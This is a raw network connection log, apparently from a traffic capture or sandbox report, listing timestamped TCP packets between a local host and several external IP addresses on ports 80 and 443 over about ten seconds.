Oct 8, 2024 02:45:46.484730959 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.811995029 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.812066078 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.812340021 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.812396049 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.066214085 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.066235065 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.066246033 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.066257954 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.066292048 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.066351891 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.157876015 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.157931089 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.157965899 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.157979012 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.157999992 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.158008099 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.158008099 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.158032894 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.158041000 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.158065081 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.158075094 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.158102036 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.158104897 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.158143044 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.248281002 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.248327971 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.248364925 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.248379946 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.248379946 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.248399973 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.248414040 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.248434067 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.248442888 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.248481035 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.248488903 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.248522043 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.248548031 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.248554945 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.248567104 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.248588085 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.248615980 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.248627901 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.248635054 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.248660088 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.248675108 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.248697996 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.248708963 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.248742104 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.249059916 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.249109983 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.249123096 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.249142885 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.249155045 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.249176025 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.249197006 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.249224901 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.360517025 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.360570908 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.360600948 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.360616922 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.360630989 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.360651016 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.360662937 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.360685110 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.360692978 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.360716105 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.360730886 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.360749960 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.360755920 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.360780954 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.360791922 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.360821009 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.360842943 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.360874891 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.360893011 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.360905886 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.360935926 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.360949993 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.360953093 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.360984087 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.361008883 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.361016989 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.361022949 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.361056089 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.361411095 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.361453056 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.469662905 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.469716072 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.469753027 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.469767094 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.469789028 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.469815969 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.469815969 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.469822884 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.469837904 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.469856977 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.469861984 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.469891071 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.469901085 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.469926119 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.469934940 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.469966888 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.470053911 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.470098019 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.470105886 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.470139027 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.470148087 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.470194101 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.470202923 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.470233917 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.470247984 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.470273018 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.470273018 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.470330954 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.470901012 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.470941067 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.560237885 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.560285091 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.560343981 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.560383081 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.888520002 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.888566017 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:47.888709068 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:47.888709068 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.125792980 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.125849009 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.125891924 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.125926971 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.126010895 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.126595020 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.230559111 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.230632067 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.230663061 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.230665922 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.230700016 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.230707884 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.230736017 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.230761051 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.230772018 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.230784893 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.230813980 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.321162939 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.321207047 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.321240902 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.321274042 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.322851896 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.322907925 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.322910070 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.322942972 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.322959900 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.322989941 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.323039055 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.323091984 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.323158026 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.323190928 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.323205948 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.323224068 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.323237896 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.323256969 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.323261976 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.323291063 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.323317051 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.323323965 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.323334932 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.323378086 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.323961020 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.323993921 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.324022055 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.324027061 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.324038029 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.324069023 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.413888931 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.413960934 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.414011002 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.414045095 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.414045095 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.414082050 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.414088964 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.414109945 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.414113998 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.414129019 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.414148092 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.414179087 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.414202929 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.414211035 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.414217949 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.414246082 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.414254904 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.414293051 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.414688110 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.414721012 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.414752960 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.414753914 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.414777994 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.414787054 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.414792061 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.414829016 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.995760918 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.995954990 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:48.996104956 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:48.996614933 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:49.103358984 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:49.103441000 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:49.103478909 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:49.103885889 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:49.195419073 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:49.195472002 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:49.195503950 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:49.195513010 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:49.195549011 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:49.195578098 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:49.195578098 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:49.195580006 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:49.195615053 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:49.195641041 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:49.195648909 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:49.195694923 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:49.195744038 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:49.285599947 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:49.285654068 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:49.285689116 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:49.285720110 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:49.285751104 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:49.285758018 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:49.285784006 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:49.285820007 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:49.285823107 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:49.285924911 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:49.428828001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:49.434195042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:49.665231943 CEST	51295	443	192.168.2.4	104.102.49.254
Oct 8, 2024 02:45:49.665291071 CEST	443	51295	104.102.49.254	192.168.2.4
Oct 8, 2024 02:45:49.665349007 CEST	51295	443	192.168.2.4	104.102.49.254
Oct 8, 2024 02:45:49.666547060 CEST	51295	443	192.168.2.4	104.102.49.254
Oct 8, 2024 02:45:49.666565895 CEST	443	51295	104.102.49.254	192.168.2.4
Oct 8, 2024 02:45:50.309778929 CEST	443	51295	104.102.49.254	192.168.2.4
Oct 8, 2024 02:45:50.309889078 CEST	51295	443	192.168.2.4	104.102.49.254
Oct 8, 2024 02:45:50.342242956 CEST	51295	443	192.168.2.4	104.102.49.254
Oct 8, 2024 02:45:50.342274904 CEST	443	51295	104.102.49.254	192.168.2.4
Oct 8, 2024 02:45:50.342657089 CEST	443	51295	104.102.49.254	192.168.2.4
Oct 8, 2024 02:45:50.346045971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:50.346151114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:50.392265081 CEST	51295	443	192.168.2.4	104.102.49.254
Oct 8, 2024 02:45:50.445729017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:50.447978973 CEST	51295	443	192.168.2.4	104.102.49.254
Oct 8, 2024 02:45:50.450879097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:50.495409966 CEST	443	51295	104.102.49.254	192.168.2.4
Oct 8, 2024 02:45:50.871458054 CEST	443	51295	104.102.49.254	192.168.2.4
Oct 8, 2024 02:45:50.871522903 CEST	443	51295	104.102.49.254	192.168.2.4
Oct 8, 2024 02:45:50.871566057 CEST	443	51295	104.102.49.254	192.168.2.4
Oct 8, 2024 02:45:50.871572018 CEST	51295	443	192.168.2.4	104.102.49.254
Oct 8, 2024 02:45:50.871587038 CEST	443	51295	104.102.49.254	192.168.2.4
Oct 8, 2024 02:45:50.871598005 CEST	51295	443	192.168.2.4	104.102.49.254
Oct 8, 2024 02:45:50.871618032 CEST	51295	443	192.168.2.4	104.102.49.254
Oct 8, 2024 02:45:50.871618986 CEST	443	51295	104.102.49.254	192.168.2.4
Oct 8, 2024 02:45:50.871638060 CEST	443	51295	104.102.49.254	192.168.2.4
Oct 8, 2024 02:45:50.871669054 CEST	51295	443	192.168.2.4	104.102.49.254
Oct 8, 2024 02:45:50.871669054 CEST	51295	443	192.168.2.4	104.102.49.254
Oct 8, 2024 02:45:50.871721983 CEST	51295	443	192.168.2.4	104.102.49.254
Oct 8, 2024 02:45:50.965744972 CEST	443	51295	104.102.49.254	192.168.2.4
Oct 8, 2024 02:45:50.965830088 CEST	51295	443	192.168.2.4	104.102.49.254
Oct 8, 2024 02:45:50.965831995 CEST	443	51295	104.102.49.254	192.168.2.4
Oct 8, 2024 02:45:50.965879917 CEST	443	51295	104.102.49.254	192.168.2.4
Oct 8, 2024 02:45:50.965900898 CEST	443	51295	104.102.49.254	192.168.2.4
Oct 8, 2024 02:45:50.965934038 CEST	51295	443	192.168.2.4	104.102.49.254
Oct 8, 2024 02:45:50.966056108 CEST	51295	443	192.168.2.4	104.102.49.254
Oct 8, 2024 02:45:50.966820955 CEST	51295	443	192.168.2.4	104.102.49.254
Oct 8, 2024 02:45:50.966840029 CEST	443	51295	104.102.49.254	192.168.2.4
Oct 8, 2024 02:45:50.966861010 CEST	51295	443	192.168.2.4	104.102.49.254
Oct 8, 2024 02:45:50.966867924 CEST	443	51295	104.102.49.254	192.168.2.4
Oct 8, 2024 02:45:51.094166040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:51.094234943 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:51.113517046 CEST	51297	80	192.168.2.4	45.132.206.251
Oct 8, 2024 02:45:51.118396997 CEST	80	51297	45.132.206.251	192.168.2.4
Oct 8, 2024 02:45:51.118451118 CEST	51297	80	192.168.2.4	45.132.206.251
Oct 8, 2024 02:45:51.118571043 CEST	51297	80	192.168.2.4	45.132.206.251
Oct 8, 2024 02:45:51.118632078 CEST	51297	80	192.168.2.4	45.132.206.251
Oct 8, 2024 02:45:51.123416901 CEST	80	51297	45.132.206.251	192.168.2.4
Oct 8, 2024 02:45:51.123466015 CEST	80	51297	45.132.206.251	192.168.2.4
Oct 8, 2024 02:45:51.123497009 CEST	80	51297	45.132.206.251	192.168.2.4
Oct 8, 2024 02:45:51.123567104 CEST	80	51297	45.132.206.251	192.168.2.4
Oct 8, 2024 02:45:51.123593092 CEST	80	51297	45.132.206.251	192.168.2.4
Oct 8, 2024 02:45:51.123624086 CEST	80	51297	45.132.206.251	192.168.2.4
Oct 8, 2024 02:45:51.875554085 CEST	80	51297	45.132.206.251	192.168.2.4
Oct 8, 2024 02:45:51.875735998 CEST	51297	80	192.168.2.4	45.132.206.251
Oct 8, 2024 02:45:53.882935047 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:53.882983923 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:53.883322001 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:53.885901928 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:53.885919094 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:54.584017038 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:54.584072113 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:54.586365938 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:54.586378098 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:54.586787939 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:54.594629049 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:54.639471054 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:54.905050039 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:54.905107975 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:54.905149937 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:54.905205965 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:54.905206919 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:54.905226946 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:54.905359983 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:54.997641087 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:54.997700930 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:54.997725964 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:54.997742891 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:54.997781038 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:54.997781038 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:54.998490095 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:54.998533010 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:54.998583078 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:54.998583078 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:54.998589039 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:54.998636961 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.088001013 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.088053942 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.088150978 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.088150978 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.088181019 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.088927031 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.089039087 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.089082956 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.089127064 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.089143991 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.089159012 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.089632034 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.090118885 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.090159893 CEST	443	51299	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:55.090204000 CEST	51299	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:55.090214968 CEST	443	51299	13.107.246.45	192.168.2.4
